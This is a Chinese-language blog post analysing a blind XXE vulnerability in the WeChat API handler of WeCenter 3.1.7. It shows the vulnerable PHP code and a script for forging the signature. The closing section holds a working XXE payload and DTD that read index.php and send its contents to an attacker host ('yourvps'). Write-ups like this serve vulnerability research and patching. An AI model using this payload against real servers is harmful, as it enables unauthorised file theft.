zoukankan      html  css  js  c++  java
  • WeCenter3.1.7 blind xxe 分析

     xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析

    在models/weixin.php

        public function fetch_message()
        {
            if ($this->post_data = file_get_contents('php://input'))
            {
                $post_object = (array)simplexml_load_string($this->post_data, 'SimpleXMLElement', LIBXML_NOCDATA);
     
                if ($_GET['encrypt_type'] == 'aes')
                {
                    $post_object = $this->decrypt_msg($post_object['Encrypt']);
                }
     
                $input_message = array(
                    'fromUsername' => $post_object['FromUserName'],
                    'toUsername' => $post_object['ToUserName'],
                    'content' => trim($post_object['Content']),
                    'time' => time(),
                    'msgType' => $post_object['MsgType'],
                    'event' => $post_object['Event'],
                    'eventKey' => $post_object['EventKey'],
                    'mediaID' => $post_object['MediaId'],
                    'format' => $post_object['Format'],
                    'recognition' => $post_object['Recognition'],
                    'msgID' => $post_object['MsgID'],
                    'latitude' => $post_object['Latitude'],
                    'longitude' => $post_object['Longitude'],
                    'precision' => $post_object['Precision'],
                    'location_X' => $post_object['Location_X'],
                    'location_Y' => $post_object['Location_Y'],
                    'label' => $post_object['Label'],
                    'ticket' => $post_object['Ticket'],
                    'createTime' => $post_object['CreateTime'],
                    'status' => $post_object['Status'],
                    'filterCount' => $post_object['FilterCount'],
                    'picUrl' => $post_object['PicUrl'],
                    'encryption' => ($_GET['encrypt_type'] == 'aes') ? true : false
                );
     
                $weixin_info = $this->model('openid_weixin_weixin')->get_user_info_by_openid($input_message['fromUsername']);
     
                if ($weixin_info)
                {
                    $this->user_id = $weixin_info['uid'];
                }
     
                if (get_setting('weixin_account_role') == 'service')
                {
                    $this->bind_message = '你的微信帐号没有绑定 ' . get_setting('site_name') . ' 的帐号, 请<a href="' . $this->model('openid_weixin_weixin')->get_oauth_url(get_js_url('/m/weixin/authorization/')) . '">点此绑定</a>';
                }
     
                return $input_message;
            }
        }
     
    没有过滤post数据,带入到了simplexml_load_string 然后查找哪里调用了这个函数fetch_message,在app/weixin/api.php调用了这函数
     
        public function index_action()
        {
            if (!isset($_GET['id']))
            {
                $_GET['id'] = 0;
            }
     
            $account_info = $this->model('weixin')->get_account_info_by_id($_GET['id']);
     
            $this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']);
     
            if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
            {   
                exit();
            }
     
            if ($_GET['echostr'])
            {
                exit(htmlspecialchars($_GET['echostr']));
            }
     
            if ($account_info['weixin_account_role'] == 'base' OR !$account_info['weixin_app_id'] OR !$account_info['weixin_app_secret'])
            {
                $account_info['weixin_mp_menu'] = null;
            }
     
            $this->model('weixin')->account_info = $account_info;
     
            $input_message = $this->model('weixin')->fetch_message();
     
            $this->model('weixin')->response_message($input_message);
        }
    }

    然后这个地方

    if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
    { 
    exit();
    }

    如果$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']不成立就会退出去,无法执行$input_message = $this->model('weixin')->fetch_message();

    跟进models/weixin.php

    public function check_signature($mp_token, $signature, $timestamp, $nonce)
    {
    $tmp_signature = $this->generate_signature($mp_token, $timestamp, $nonce);
    
    if (!$tmp_signature OR $tmp_signature != $signature)
    {
    return false;
    }
    
    return true;
    }
    
    public function generate_signature($token, $timestamp, $nonce)
    {
    $token = trim($token);
    
    if (!$token OR !$timestamp OR !$nonce)
    {
    return false;
    }
    
    $tmp_arr = array(
    $token,
    $timestamp,
    $nonce
    );
    
    sort($tmp_arr, SORT_STRING);
    
    return sha1(implode('', $tmp_arr));
    
    }

    我们可以控制$signature参数,而且通过generate_signature我们知道如何生成signature,但是这里

    if (!$token OR !$timestamp OR !$nonce) { return false; }


    $mp_token是不能控制的,而且不能为空,这样我们就得设置$mp_token了,这个得在后台设置

    然后我们成功设置$mp_token为testtest,对照signature生成的方法,写个脚本生成我们可控的$signatarue

    <?php 
    $token = "testtest"; 
    $timestamp = "a"; 
    $nonce = "b"; 
    $tmp_arr = array( $token, $timestamp, $nonce ); 
    sort($tmp_arr, SORT_STRING); 
    echo sha1(implode('', $tmp_arr));


    生成$signature为ed86c0d850f575d4fbd3b2062f1662bed2fe4245,最后url的格式如下

    http://localhost/WeCenter_3-1-7/UPLOAD/?/weixin/api/?signature=ed86c0d850f575d4fbd3b2062f1662bed2fe4245&timestamp=a&nonce=b
    然后由于这个xxe漏洞没有回显,但是blind xxe还是可以用的。 构造读取首页的payload

    <?xml version="1.0"?> 
    <!DOCTYPE ANY [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"
    >
    <!ENTITY % remote SYSTEM "http://yourvps/xxe/evil.dtd">
    %remote; %all;
    ]>
    <c>&send;</c></code>

    其中evil.dtd内容如下

    <!ENTITY % send "<!ENTITY external SYSTEM 'http://yourvps/log.php?msg=%payload;'>">

  • 相关阅读:
    实战演练:通过伪列、虚拟列实现SQL优化
    python try else
    Prince2是怎么考试的?
    Prince2是怎么考试的?
    Prince2是怎么考试的?
    Prince2是怎么考试的?
    拦截器
    拦截器
    拦截器
    拦截器
  • 原文地址:https://www.cnblogs.com/he1m4n6a/p/10069741.html
Copyright © 2011-2022 走看看